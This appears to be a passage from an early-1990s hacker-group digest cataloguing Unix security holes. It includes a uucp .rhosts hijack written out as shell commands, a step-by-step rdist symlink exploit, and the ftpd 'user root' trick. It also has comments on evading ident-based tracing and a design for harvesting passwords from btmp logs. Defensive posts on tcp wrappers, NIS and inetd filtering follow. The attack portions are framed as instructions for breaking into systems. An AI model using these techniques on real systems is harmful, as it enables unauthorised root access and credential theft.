||
used to create a root account
|
||
core
|
||
will system dump a setgid core image?
|
||
domain name system
|
||
a sysadmin running the soa for a domain somewhere can
|
||
create a bugs reverse address mapping table for one of his
|
||
hosts that causes its IP address to have the domain name
|
||
of a machine that my host has in its hosts.equiv file. if
|
||
i'm using the usual version of 'istrusted' (I think that's
|
||
the routine's name), the address lookup reveals the name
|
||
of the host to be one that my host trusts, and this other
|
||
sysadmin can rlogin into my machine or rsh or whatnot at
|
||
will.
|
||
fchown
|
||
test for bad group test
|
||
ftruncate
|
||
can be used to change major/minor numbers on devices
|
||
fingerd
|
||
hard .plan links - reading unreadable files readable by
|
||
user(fingerd)
|
||
setuid, .plan links
|
||
|
||
running as root
|
||
(fingerd_test.sh)
|
||
buffer overrun
|
||
file mod test.
|
||
test of file does not loose the setuid bit when modified
|
||
|
||
ftp
|
||
ftpd
|
||
static passwd struct overwrite
|
||
4.2 based bug, userid not reset properly, (after logging
|
||
in enter comment "user root" and you are, last seen
|
||
onder SunOS 3.3?).
|
||
overwrite stack somehow?
|
||
hosts.equiv
|
||
default + entry
|
||
istrusted routine - easy to spoof by bad SOA at remote
|
||
site with hacked reverse address map.
|
||
lock
|
||
4.1bsd version had the password "hasta la vista" as a
|
||
builtin trapdoor. (found in ultrix)
|
||
lost+found, fsck
|
||
lost+found should be mode 700, else others might see
|
||
private files.
|
||
lpd
|
||
its possible to ovberwrite files with root authority with
|
||
user level access locally or remotely if you have local
|
||
root access
|
||
lpr
|
||
lpr -r access testing problem
|
||
lprm
|
||
trusts utmp
|
||
passwd
|
||
fgets use allows long entries which will be mangled into
|
||
::0:0::: entries
|
||
also allows:
|
||
fred:...:...:...:Fred ....Flintstone::/bin/sh =>
|
||
fred:...:...:...:Fred.....
|
||
Flintstone::/bin/sh
|
||
which is a root entry with no password!
|
||
fix - should skip to eol if it didn't read whole entry,
|
||
should enforce buffer limits on text in file, don't use
|
||
atoi (since atoi(/bin/sh) is 0).
|
||
portmap
|
||
allows other net entities to make bindings - may not be a
|
||
"security hole", can lead to denial of service.
|
||
rcp
|
||
nobody problem
|
||
rexd
|
||
existence
|
||
rwall,comsat
|
||
running as root, utmp world writeable, writes to files as
|
||
well as devices in utmp dev fields.
|
||
rdist - buffer overflow
|
||
selection_svc
|
||
allowed remote access to files
|
||
sendmail
|
||
debug option
|
||
wizard mode
|
||
TURN command
|
||
allows mail to be stolen
|
||
decode mail alias - anyone can send mail to decode, write
|
||
to any file onwed by daemon, if they can connect to
|
||
sendmail daemon, can write to any file owned by any user.
|
||
|
||
overflow input buffer
|
||
cause the sendmail deamon to lock up
|
||
overwrite files
|
||
sendmail can be "tricked" into delivering mail
|
||
into any file but those own my root.
|
||
-oQ (different Q)
|
||
fixed in newer versions
|
||
mqueue must not be mode 777!
|
||
what uid does |program run with?
|
||
sendmail -bt -C/usr/spool/mail/user - in old versions,
|
||
allows you to see all lines of the file.
|
||
setuid bit handling
|
||
setuid/setgid bit should be dropped if a file is modified
|
||
fix: kernel changes
|
||
setuid scripts
|
||
there are several problems with setuid scripts. is it
|
||
worth writing tests for these? some systems might have
|
||
fixed some of the holes - does anyone know how one fixes
|
||
these problems in a proactive fashion?
|
||
sh
|
||
IFS hole (used with vi, anything else?)
|
||
su
|
||
overwrite stack somehow?
|
||
tcp/ip
|
||
sequence number prediction makes host spoofing easier
|
||
source routing make host spoofing easier
|
||
rip allows one to capture traffic more easily
|
||
various icmp attacks possible
|
||
(I suspect a traceroute'd kernel will allow one to easily
|
||
dump packets onto the ethernet)
|
||
tftp
|
||
allows one to grab random files (eg, /etc/passwd).
|
||
fix - should do a chroot
|
||
allows puts as well as gets, no chroot
|
||
fix - don't run as root, use chroot, no puts, only if boot
|
||
server.
|
||
utmp
|
||
check to see if world writeable (if so, the data can't be
|
||
trusted, although some programs are written as though they
|
||
trust the data (comsat, rwalld)).
|
||
uucp
|
||
check if valid uucp accounts are in the /etc/ftpusers. If
|
||
the shell is uucico and passwd is valid make sure it is
|
||
listed in ftpusers.
|
||
check to see that uucp accounts have shell: if left off,
|
||
folks can do:
|
||
cat >x
|
||
myhost myname
|
||
^D
|
||
uucp x ~uucp/.rhosts
|
||
rsh myhost -l uucp sh -i
|
||
HDB nostrangers shell escape
|
||
HDB changing the owner of set uid/gid files
|
||
HDB meta escapes on the X command line
|
||
HDB ; breaks on the X line
|
||
uudecode
|
||
if it is setuid, some versions will create setuid files
|
||
|
||
ypbind
|
||
accepts ypset from anyone (can create own ypserv and data,
|
||
and ypset to it...)
|
||
ypserv spoofing
|
||
send lots of bogus replies to a request for root's passwd
|
||
entry, while doing something that would generate such a
|
||
request [I'm pretty sure that this is possible, but
|
||
haven't tried it.]
|
||
AIX
|
||
* password means use root's password?
|
||
AIX 2.2.1
|
||
shadow password file (/etc/security/passwd) world
|
||
writeable
|
||
fix - chmod 600...
|
||
386i login
|
||
fix - nuke logintool, hack on login with adb, chmod 2750
|
||
ultrix 3.0 login
|
||
login -P progname allows one to run random programs as root.
|
||
fix - chmod 2750.
|
||
xhost:
|
||
if access access control is disabled any one can connect to
|
||
a X display it is possible and create (forge) and/or
|
||
intercept keystrokes.
|
||
-Dark Overlord
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
|
||
Date: Thu, 13 Feb 92 10:25:40 -0700
|
||
Subject: rdist.hole
|
||
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
rdist.hole 06.00.00 02/13/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
In the RDIST program, a subprogram called SERVER.C has a
|
||
subroutine called CHOG which issues two faulty calls to SETREUID.
|
||
To exploit this, you:
|
||
o Create a very large file with garbage in it.
|
||
o Make the file SETUID
|
||
o Create /temp directory
|
||
o RDIST -C filemane hostname:/temp
|
||
o Suspend the job that is updating the large file.
|
||
o Within /temp, there will be two files created by RDIST... One
|
||
by the server, the other by the client.
|
||
o REMOVE the file with a filesize greater than zero.
|
||
o Replace the REMOVEd file with a symbolic link to the target (victim)
|
||
file (hint: use the LN command).
|
||
o Unsuspend the process.
|
||
o RDIST will now change the target file protection to the same
|
||
as the temp file.
|
||
The above will work on all Berkeley, SUN, and SCO systems. Life
|
||
is a bitch, then you grow old.
|
||
-Rosco
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
------------------------------
|
||
|
||
Date: Thu, 13 Feb 92 10:38:18 -0700
|
||
Subject: rfc.authd.draft
|
||
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
rfc.authd.draft 01.13.00 02/13/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
(This is extracted from the complete draft that should be available
|
||
on the INFOHAX fileserver)
|
||
The Identity Server announces the user of a particular TCP connection
|
||
to the host on the other end of the connection. Given a TCP port
|
||
number pair, it returns a character string which identifies the owner
|
||
of that connection on the server's system. Suggested uses include
|
||
detection of SMTP and NNTP forgeries, additional verification for a
|
||
remote login, terminal server usernames, and user-to-user file
|
||
transfer. A particularly important application of the Identity Server
|
||
in today's Internet is tracing network attackers through mainframes.
|
||
This is a connection-based application which runs over TCP. The
|
||
server listens for TCP connections on port 113 (decimal).
|
||
5. Caveats
|
||
The user identifier returned by the Identity Server on a host is only
|
||
A> as trustworthy as the host itself. (Needless to say, the association
|
||
between a user identifier and a real person is only as secure as the
|
||
mechanism by which the host establishes that association.)
|
||
Attempts to interpret the user identifier outside the context of the
|
||
host will inevitably lead to security violations. Therefore the
|
||
client must never use a user identifier without also keeping track of
|
||
the IP address whose Identity Server generated the identifier. When
|
||
possible it should also keep track of the domain name corresponding
|
||
to that IP address.
|
||
B> In theory, the Identity Server decreases security by announcing
|
||
usernames which, were it not for SMTP, Finger, and several other
|
||
protocols, could be kept secret. Administrators of hosts supporting
|
||
the Identity Server should be aware that as soon as user shmoe
|
||
connects to host X, anyone on host X can find out shmoe's username
|
||
simply by guessing the TCP port numbers.
|
||
6. Identity Server security
|
||
This section provides an informal discussion of the security added by
|
||
the Identity Server. It is important to note at the outset that this
|
||
server does not in any way remove the need for protocols, such as
|
||
Kerberos, which encrypt data. The Identity Server can and should be
|
||
used to supplement, never to replace, existing security mechanisms.
|
||
The Identity Server completely eliminates username forgeries above
|
||
the TCP level. On a host supporting this RFC, a forger, system
|
||
cracker, or other criminal cannot hide behind the anonymity of a TCP
|
||
C> connection; to forge his username he must forge TCP packets.
|
||
(It goes without saying that if a system cracker acquires privileges
|
||
and disables the proper functioning of the Identity Server, then the
|
||
usernames reported by the server will not be accurate. In that
|
||
situation ``username forgery'' does not even make sense, for the
|
||
system cracker has complete control over all usernames. As stated in
|
||
section 5, the user identifier returned by the Identity Server on a
|
||
host is only as trustworthy as the host itself.)
|
||
Unfortunately, forging TCP packets is rather easy. Bellovin has
|
||
outlined several attacks which compromise IP and TCP [1]. The
|
||
Identity Server happens to make some of the attacks much more
|
||
D> difficult. For instance, a fake source route will be ignored when the
|
||
target makes a second connection to the Identity Server, so a
|
||
username cannot be faked with source route attacks. Some attacks are
|
||
E> also ineffective against after-the-fact tracing: for example, posing
|
||
as another host on the same Ethernet while that host is down can
|
||
always be detected (though it is very difficult to trace this attack
|
||
back to its source). Furthermore, the Identity Server uses IP
|
||
addresses, so it avoids the Domain Name Server's lack of security.
|
||
Unlike passwords sent in cleartext (via, e.g., TELNET), the Identity
|
||
Server cannot even be spoofed by an attacker who can read every
|
||
packet sent across the network.
|
||
F> However, ICMP Redirects and other comprehensive routing attacks can
|
||
be neither detected nor stopped from anywhere except the target
|
||
router. To completely stop forgeries requires not only the Identity
|
||
Server but a secure TCP. Kerberos v5 [6] solves these problems
|
||
thoroughly and efficiently, although it does not yet fully support
|
||
wide-area networks.
|
||
G> It is perhaps worthwhile to draw an analogy between the Identity
|
||
Server and security in the telephone system. Without the Identity
|
||
Server, a phone trace (or Caller-ID, where it is permitted by local
|
||
regulations) provides the phone number of the caller. When the phone
|
||
number is the number of a large company and the caller was actually
|
||
at an extension inside the company, this tracing mechanism is nearly
|
||
useless.
|
||
The Identity Server provides the extension. Admittedly, the extension
|
||
is meaningless when the phone number refers to someone's house (a
|
||
microcomputer), or to a company that lets its employees pick their
|
||
extensions (an insecure mainframe). But it provides a huge benefit
|
||
for tracing within honest companies. If Foo Corp. tells Bar Inc. that
|
||
it's been receiving prank calls (forged mail, system cracking) from
|
||
one of Bar's phone numbers, Bar can't do anything. But if Bar has
|
||
installed the Identity Server, Foo can find out the phone extension
|
||
as well, and Bar can track down the renegade employee.
|
||
Someone who can invade the security of the phone system itself (i.e.,
|
||
someone who breaks TCP) will find the Identity Server at most a minor
|
||
nuisance. To stop him you'd have to start encrypting your phone lines
|
||
(Kerberos). But for most people the Identity Server removes the
|
||
anonymity provided by large organizations (mainframes) all of whose
|
||
calls are tagged with the same phone number (IP address). It thus
|
||
forms a quite effective deterrent.
|
||
A common argument against RFC 931 was that its usernames are
|
||
meaningless for microcomputers. However, consider the phone analogy.
|
||
It doesn't matter that Dr. Shmoe can forge extensions within his own
|
||
house to his heart's delight---because anyone who traces his prank
|
||
calls will find out that they came from Shmoe's house. Nobody will
|
||
care about the faked extension when Dr. Shmoe is arrested. In other
|
||
words, the Identity Server neither helps nor hurts the security of
|
||
such connections.
|
||
Note that if ``Shmoe's house'' is instead a public meeting place with
|
||
no physical security and with public phones which let users specify
|
||
any extensions they want, it will not be possible to trace calls to
|
||
the actual people who happened to be using those phones. In other
|
||
words, if a microcomputer or unprotected workstation with no physical
|
||
security is available for the public to use, it will not be possible
|
||
to trace security violations emanating from that computer. Once again
|
||
this is a problem independent of the Identity Server. The Identity
|
||
Server is beneficial in that it discriminates between the users of a
|
||
multi-user computer.
|
||
7. Applications
|
||
The most important use of the Identity Server in today's Internet is
|
||
to track system crackers across the network. A combination of IP
|
||
lookups and Ethernet tracing usually suffices to identify the
|
||
physical machine involved in an ongoing attack. However, if that host
|
||
has many users and its manager is not available, there is no way to
|
||
identify which user is responsible for the attacks. It has thus
|
||
H> become popular with system crackers to log into a series of
|
||
mainframes, each providing an extra layer of anonymity. The Identity
|
||
Server removes this anonymity by announcing the username at each
|
||
step. As more and more hosts on the Internet support the Identity
|
||
Server, it will become more and more difficult for an attacker to
|
||
avoid leaving a trail of usernames.
|
||
I> Another natural use of the Identity Server is to detect SMTP and NNTP
|
||
forgeries. Patches are available for sendmail [3] and nntpd [5] to
|
||
record the sending username. FTP can record the name of the user
|
||
performing an "anonymous ftp" [4], rather than depending on the user
|
||
to give his name. Many other user-level protocols, such as BSD talk
|
||
[2], can also benefit from user identifiers. Note that all these
|
||
applications use the Identity Server to supplement, never to replace,
|
||
other security mechanisms.
|
||
The user identifier provided by the Identity Server can allow more
|
||
secure authentication and finer access control for remote login than
|
||
some current access control mechanisms, which are based solely on the
|
||
incoming IP address and host name. If the identifier is also recorded
|
||
in system logs, then network attacks can be traced back to individual
|
||
users rather than entire mainframes, as discussed above. It is
|
||
important to note that this in no way removes the need for passwords
|
||
or other forms of cryptographic authentication. The Identity Server
|
||
supplements, never replaces, other security mechanisms.
|
||
J> Many sites have terminal servers which allow Internet connections. A
|
||
user can connect to the server, then connect to anywhere on the
|
||
Internet (or, in some cases, anywhere on the local net). With the
|
||
Identity Server, terminal servers can record usernames, then report
|
||
those usernames on outgoing connections. For instance, if
|
||
joe@host.com connects to terminalserver.edu and then to site.gov,
|
||
terminalserver.edu can respond to an Identity Server request with
|
||
USERID : OTHER : joe@192.6.6.6(host.com). The login might show up in
|
||
site.gov's logs as joe@192.6.6.6(host.com)@terminalserver.edu. This
|
||
would prevent abuse of the terminal servers for anonymous system
|
||
cracking attempts. Note once again that the Identity Server only
|
||
supplements other security mechanisms (though in this case there
|
||
typically aren't any other security mechanisms to begin with).
|
||
The Identity Server can also be used for user-to-user file transfer,
|
||
where one user SENDs a file and another RECEIVEs it without
|
||
passwords. The file is queued on the sending host, not the receiving
|
||
host. SEND can be implemented as a mail message or other notification
|
||
of a TCP port where the file can be picked up. RECEIVE is then a
|
||
connection to that TCP port; the receiver uses the Identity Server to
|
||
make sure the sender is who he should be, and vice versa. Of course,
|
||
the Identity Server is only a minimal security mechanism necessary to
|
||
make a SEND-RECEIVE protocol practical. It would be better if all
|
||
communications were completely encrypted.
|
||
8. References
|
||
[1] Bellovin, S. M., "Security Problems in the TCP/IP Protocol
|
||
Suite", Computer Communications Review, April 1989.
|
||
[2] Bernstein, D. J., "Unofficial patches to talk for RFC 931
|
||
support", February 1991. Available for anonymous ftp from
|
||
wuarchive.wustl.edu in usenet/alt.sources/articles/2687.Z.
|
||
[3] Bernstein, D. J., "Unofficial patches to sendmail for RFC 931
|
||
support", February 1991. Available for anonymous ftp from
|
||
wuarchive.wustl.edu in usenet/alt.sources/articles/2728.Z.
|
||
[4] Myers, C., "wuarchive ftpd", September 1991. Available for
|
||
anonymous ftp from wuarchive.wustl.edu in
|
||
packages/ftpd.wuarchive.shar.
|
||
[5] Sayer, N., "Unofficial RFC931 patches to nntp", February 1991.
|
||
Available for anonymous ftp from wuarchive.wustl.edu in
|
||
usenet/alt.sources/articles/2746.Z.
|
||
[6] Ts'o, T., et al., Kerberos v5 beta, Massachusetts Institute of
|
||
Technology, June 1991.
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
A> If you have root, you can change usernames, or su to anybody
|
||
B> not mutch of a concern
|
||
C> Packet forgers are becoming more important, as are ethernet stuffers, we
|
||
need to work on this area...
|
||
D> source route attacks - need info...
|
||
E> posing as down host - need info...
|
||
F> ICMP redirects and other comprahensive routing attacks - need info...
|
||
G> a usefull way arround it...
|
||
H> So this will be like SxS switches, where we'll need to go through a
|
||
system that doesn't support the tracing to evade it...
|
||
I> SMTP and NNTP forgeries - please write something on this, someone...
|
||
Comments:
|
||
J> Of cource we NEVER use someone elses account, god forbid we ran a password
|
||
cracker...
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
------------------------------
|
||
|
||
Date: Thu, 13 Feb 92 10:37:14 -0700
|
||
Subject: b-wtmp.prog
|
||
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
b-wtmp.prog 01.12.00 02/13/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
Feedback on sec 01.01.00, sysadmin.comments and a program being worked on
|
||
as a result:
|
||
The line:"Some of them will show passwords typed in where usernames should
|
||
be, which is why btmp is supposed to be readable only by root"
|
||
Ok, so if you can get root, and read this file, you should be able to get
|
||
a few passwords out of it. To help this task a program that would automate
|
||
some of this would be usefull. This tool would corellate usernames that
|
||
logged in arround that time with entries where they made a typo or something.
|
||
There are basicly 3 types of entries that are likely to be found:
|
||
1) the user types in a legit password, but eithor puts it in the login field,
|
||
makes a typo, or is hit with linenoise. in any of these cases you should
|
||
have most or all of the password.
|
||
2) the user types in the wrong password (check .forward files, lastcomm, etc
|
||
to try to figure out where else they have an account.)
|
||
3) hackers... won't get anything from these entries...
|
||
Anyway, a program should be able to match those entries that are from
|
||
users on the system, and identify what category of problem exists... ie:
|
||
username is 1 char off: password is probably good
|
||
username and password clean: maybe typo, or password on dif system
|
||
username doesn't exist: hacker
|
||
garbage in password: linenoise, may be worth guessing/brute force
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
------------------------------
|
||
|
||
Date: Thu, 13 Feb 92 10:39:08 -0700
|
||
Subject: son.of.IP
|
||
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
son.of.IP 01.14.00 02/13/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
>I have used the hosts_access package with some success. What this
|
||
>package does is disable connections from a host or set of hosts. So
|
||
>you set up all of the machines on your ethernet with the host_access
|
||
>package, and set up the files so that any attempt to use a tcp service
|
||
>from your gateway is canceled.
|
||
The most recent version now also supports access control and monitoring
|
||
of UDP and RPC requests. Available from ftp.win.tue.nl (131.155.70.100),
|
||
file /pub/security/log_tcp.shar.Z.
|
||
-----------------------
|
||
TdR> In fact, if your site uses the name daemon, and the intruder can guess
|
||
TdR> what just one line in your .rhosts file says, he can get into your
|
||
TdR> account very easily. Yeah, yeah, CERT & gang have been told.
|
||
Sun actually got this one right, though they did it in the wrong place ;-)
|
||
Sun's resolver library won't return a name on a gethostbyaddr() unless
|
||
an A record lookup on that name returns that address. This is great for
|
||
r-access, but not so hot for stuff like traceroute, since *some* people
|
||
(hi NSF) don't have proper A records matching their PTRs.
|
||
There's also she host_access package (look for log_tcp with archie) that
|
||
has a define, -DPARANOID, which does the same thing (disallows
|
||
connections from sites that don't match properly) and can be added on to
|
||
any system. It can also block telnet/rlogin/whatever from sites you
|
||
don't want to hear from (open terminal servers at someone else's site,
|
||
perhaps ;-)
|
||
------------------
|
||
TCP/IP Connection Monitoring
|
||
It is occasionally needed to perform ethernet monitoring to check for
|
||
unauthorized connections (connections from random machines around the
|
||
internet to the telnet (or other) ports). You might not want to
|
||
restrict all access, but one the other hand you want to keep an eye on
|
||
what is going on. The only problem is that programs like tcpdump or
|
||
etherfind monitor the ethernet on a packet-by-packet scale instead of
|
||
on a connection bases (one line per connection) which makes it
|
||
difficult to get an idea of what is happening (since you can easily
|
||
lose or forget about packets that get overwhelmed by voluminous
|
||
connections. So in order to solve this problem I wrote conmon.
|
||
conmon takes the output of tcpdump and prints a given connection only
|
||
the first time it is seen so that you can easily see all connections.
|
||
Every screenful of connections it clears the current list of
|
||
connections so that active connections will be seen on the new screen.
|
||
Both tcpdump and conmon are available for anonymous ftp from
|
||
ftp.ctr.columbia.edu [128.59.64.40]
|
||
-------------------
|
||
New network security mailing list: rfc931-users
|
||
RFC 931, the Authentication Server, stops the most common type of mail
|
||
and news forgery, increases the security of other TCP connections, and
|
||
helps security organizations trace Internet attackers. It is supported
|
||
by at least three (completely interoperable) UNIX server implementations,
|
||
used by several clients including the newly released wuarchive ftpd, and
|
||
installed at sites throughout the United States and Europe, ranging from
|
||
the Air Force to companies as large as 3M. It is currently the only
|
||
freely available wide-area TCP security protocol, yet it can run in
|
||
tandem with other security protocols such as Kerberos.
|
||
I've created a new mailing list, rfc931-users, for people who want to
|
||
use the Authentication Server to solve problems. The mailing list is
|
||
rfc931-users@kramden.acf.nyu.edu; to join, send mail to brnstnd@nyu.edu.
|
||
------------------
|
||
> Is it possible to fake the source of a packet traveling on the net?
|
||
> The obvious secuirty breach I'am thinking of is this: Machine A is remotely
|
||
> connected to Machine B. Is it possible to send information; ie commands,
|
||
> to Machine B from another machine and make Machine B **think** it came
|
||
> from Machine A? Kerebose can provide security when you first connect, but
|
||
> after the connection is made......
|
||
Yes, of course. Depending on the Protocol. For TCP/IP you can read a good
|
||
summary on Security Problems in
|
||
S.M.Bellovin, Security Problems in the TCP/IP Protocol Suite, Computer
|
||
Communication Review, Vol 19, No 2, pp 32-48, April 1989.
|
||
--------------------
|
||
>Is anyone able to name me an ftp-server which contains this document?
|
||
You can find it at: research.att.com under: dist/Secure_Internet_Gateway.ps
|
||
Btw.: This article is critizised in: S. Kent, "Comments on 'Security Problems
|
||
in the TCP/IP Protocol Suite", ACM Computer Communication Review, Vol 19
|
||
No. 3, July 1989, pp. 10-19.
|
||
--------------------
|
||
Re: NIS and password security
|
||
There have been a number of queries and some not completely accurate
|
||
information posted on this question. I'll try to summarise the problem and
|
||
suggested workarounds. None of the workarounds is particularly satisfactory,
|
||
The problem is this: ypserv is totally indiscriminate about which machines
|
||
it will respond to queries from. Normal NIS maps can be read by anyone
|
||
on the Internet who can route packets to your NIS server and back.
|
||
"secure" (HA!) NIS maps like passwd.adjunct can only be read if the querier
|
||
is using a privileged port (< 1024). This means that anyone can read your
|
||
"secure" maps if they can crack root on some machine on the Internet
|
||
and can route packets to your machine.
|
||
The bug means that many machines on the Internet which use NIS are
|
||
vulnerable to having their password files stolen and run through "Crack" or
|
||
similar. Arguments about whether distributing Crack and fast U*ix encryption
|
||
algorithms was a good idea aside, every wannabe cracker now has a copy
|
||
of a reasonably state-of-the-art password guesser.
|
||
As I said in my earlier post on this subject, the combination "I'm NIS
|
||
and I serve everyone" and easily available password guessers has already
|
||
led to breakins at some sites.
|
||
This bug was reported to Sun in April 1990, and CERT has also been aware
|
||
of it for about the same length of time.
|
||
I am told that the bug will be fixed in NIS+ or NIS3.0, or whatever it's
|
||
called this week, which I understand will be available in Solaris 2.0.
|
||
What to do about it:
|
||
1) The Sun Party Line. "Don't run ypserv on your gateway and disable
|
||
IP forwarding on the gateway". This is commonly known as a
|
||
"firewall" (provided the machine is also in other respects
|
||
reasonably secure) and is probably already done by many commercial
|
||
users of the Internet. It is not the greatest in convenience, and
|
||
most University sysadmins would encounter, lets say, a little user
|
||
resistance. Managing the gateway is also a pain. Switching off
|
||
`routed' alone, as has been suggested here, is usually insufficient.
|
||
However, provided the security of the firewall is not breached, you
|
||
are safe from this attack, and many others. Instructions on how
|
||
to disable IP forwarding in the kernel are in Sun's Network Admin
|
||
manual.
|
||
2) The Lamb Party Line. If you communicate to the outside world through a
|
||
smart router, filter out packets coming from external connections
|
||
addressed to destination ports sunrpc/udp&tcp (port 111) and ports
|
||
600-1023, tcp&udp. This will prevent access to *all* sunrpc services
|
||
from outside the router. It will also block access to the Kerberos
|
||
protocols (probably also not a bad idea given the info. in Steve
|
||
Bellovin's paper about Kerberos security problems), and will
|
||
probably block the BSD `r' (rcp,rlogin, etc) commands, but don't
|
||
count on it doing so. If you and your router are smart enough, you
|
||
may be able to make the `r' commands work. Eg, for rlogin, allow
|
||
the packets through iff their source is 513/tcp (this opens up a hole
|
||
for a sufficiently clever cracker, though). Blocking port 111 alone
|
||
is insufficient but will block the most obvious attacks (including
|
||
those I've been told have already actually occurred).
|
||
The above two solutions are the only real answers to the problem. There
|
||
are some workarounds which make life harder for the potential cracker.
|
||
1) Choose a hard-to-guess NIS domain name. The cracker must be able to guess
|
||
your NIS domain name in order to talk to ypserv. This is purest security-
|
||
through-obscurity. The domain name is normally only handled by
|
||
automatic systems, and can be up to 64 characters long. Making the first
|
||
part a reasonable handle may help system administration. Something like
|
||
my-old-domainname-Ldp.T2d9wCY
|
||
is probably reasonable. This precaution is vulnerable to "social
|
||
engineering" attacks, ie. the cracker trying to fool a user at your site
|
||
to reveal the domain name, since the NIS domain name can be discovered by
|
||
any user on your machines.
|
||
2) Use passwd+ or npasswd to vet passwords. If you do this, you need to
|
||
make all your users put their current password through the new
|
||
password program. Using a premptive check on passwords for idiotic
|
||
usage is a good idea anyway, independent of whether you use NIS or
|
||
not. If you have Suns and you'd rather spend money than install
|
||
free software, Sun Shield (TM) also provides this capability, along
|
||
with other more or less useful things. Convex provides some similar
|
||
capabilities in their passwd(1) program. Some other manufacturers
|
||
may also have similar capabilities. The more sites that do this, the more
|
||
frustrating it will become for crackers trying to guess passwords.
|
||
Note that this problem is common to all versions of NIS or Yellow Pages,
|
||
that I know of not just on Suns. It will probably go away in NIS+ aka NIS3.0,
|
||
but it seems that this will be a little while coming, and for non-Sun
|
||
machines even further off.
|
||
Using NIS in combination with Sun's so-called `C2' security will *not* help.
|
||
For those not aware of current technology in password guessing programs,
|
||
Alan Muffet (?sp) "Crack" program can test > 500 guesses/sec against
|
||
a U*ix encrypted password on any modern RISC workstation. This means that
|
||
an encrypted password can be checked against the entire /usr/dict/words
|
||
in less than a minute. "Crack" has been posted to the network, and you
|
||
can assume that most crackers and wannabe's have a copy.
|
||
PS: Sorry, I will not respond to requests for more details about how to
|
||
exploit this hole. Sun and CERT have full details. If you have a Sun
|
||
s/w maintenance contract, the escalation SO# was 484666 and the Sun BugId
|
||
was 1036869. Please contact Sun if you feel you need more details.
|
||
----------------------
|
||
You might look at in.src a program provided by CIAC to do just what
|
||
you ask. You can get it by anon ftp from
|
||
irbis.llnl.gov:/ftp/pub/util/insrc.tar.Z
|
||
---------------------
|
||
in.gate ftp site
|
||
Seems as if the cat is out of the bag (before I was really ready :-),
|
||
in.gate is available by anonymous ftp from:
|
||
Site: cse.ogi.edu
|
||
Directory: pub/in.gate
|
||
File:in.gate-1.01.shar
|
||
--John Pochmara
|
||
pochmara@cse.ogi.edu
|
||
P.S. the only different between 1.01 and 1.0 is some
|
||
documentation changes.
|
||
-----------------------
|
||
We also have a modified version of the inetd available as a source patch to
|
||
the standard BSD 4.3-Reno inetd source. Unfortunately this cannot support
|
||
rpc services, I would however be happy to update it when I can obtain an
|
||
inetd with rpc.
|
||
The server reads a configuration file containing lines of the form:
|
||
ajax.rsre.mod.uk finger/tcp, talk/udp
|
||
rsre.mod.uk smtp/tcp
|
||
Where the first component contains a host name (in DNS format) or a partial
|
||
domain specification (such as rsre.mod.uk). This has the advantage of allowing
|
||
services to be permitted on domain/administrative boundaries rather than on
|
||
physical ip addresses.
|
||
Development is still under way, but the initial implementation has proved
|
||
useful and is used to filter most of our incoming services.
|
||
The daemon also logs all incoming service requests indicating the source IP
|
||
address of denied service requests.
|
||
I can send the source patch to any interested parties.
|
||
Dave Ferbrache
|
||
Defence Research Agency
|
||
St Andrews Road
|
||
Great Malvern
|
||
+44 684 895986
|
||
---------------------
|
||
A version of the tcp-log program which offers the possibility of starting
|
||
different services, depending on who calls, or of giving an appropriate
|
||
error string while rejecting connections is available for ftp from
|
||
ftp.bnr.co.uk as "Exports/tcp-switch.sh"
|
||
Otherwise the functionality seems simmilar to in.gated described elsewhere
|
||
on this list.
|
||
I hope you find it useful.
|
||
----------------------
|
||
I showed some of this discussion to my friend Roland McGrath, of FSF
|
||
who said, "I did one of those." So I asked him for a copy. He sent
|
||
me a shar file prefaced by a few comments which I extract from:
|
||
Here is a shar of the source to my inetd. It is a modified version of the
|
||
4.4 inetd. I got the original Berkeley sources from ftp.uu.net. Systems
|
||
which have a real setsid call should not use setsid.c, which I wrote to
|
||
emulate setsid on 4.3BSD.
|
||
I am actively maintaining this program, and am interested in bug reports.
|
||
However, I'm maintaining only for the purpose of the FSF's use of it, and
|
||
am not particularly interested in new features that will not be of use to
|
||
us (I'll listen to suggestions, though).
|
||
There is no documentation. You can get the BSD inetd manpage from uunet.
|
||
My changes to their version are:
|
||
* Ported to 4.3BSD on hp300s, HPUX 7.0 (I think) on hp834s, and sun4
|
||
running sunos4.1.
|
||
* Added sunrpc support. Easily commented out for systems without sunrpc.
|
||
mtXinu's MORE/bsd 4.3+NFS, and SunOS4.1 use different syntaxes for sunrpc
|
||
services in /etc/inetd.conf. My version understands both syntaxes.
|
||
* Added security support; new configuration file /etc/inetd.sec.
|
||
Based on the feature of HPUX's inetd (you can look at their documentation
|
||
if you have an HP machine handy, or log in to one of ours to look), but
|
||
not quite the same. Basically, /etc/inetd.sec contains lines like:
|
||
telnet deny undesireable.machine.com
|
||
ftp deny *.undesireable.domain.edu
|
||
login allow blessed.machine.org
|
||
shell allow 128.52.46
|
||
telnet rejections /bin/echo echo We do not like you.
|
||
This says: Allow telnet connections from anywhere except
|
||
undesireable.machine.com; allow ftp connections from anywhere except
|
||
anything matching *.undesireable.domain.edu (that's a shell glob pattern);
|
||
allow rlogin only from blessed.machine.org; allow rsh only from things on
|
||
subnet 128.52.46; when undesireable.machine.com tries to make a telnet
|
||
connection, echo is run in place of telnetd.
|
||
There can be as many allow/deny lines as you like. Each line can have as
|
||
many names or nets as you like, separated by whitespace and/or commas. The
|
||
restrictions build, so "allow *.mit.edu" followed by "deny 18" will allow
|
||
things in mit.edu unless they're on net 18. If the first thing is a deny,
|
||
then calling hosts that don't match any allow or deny lines are allowed; if
|
||
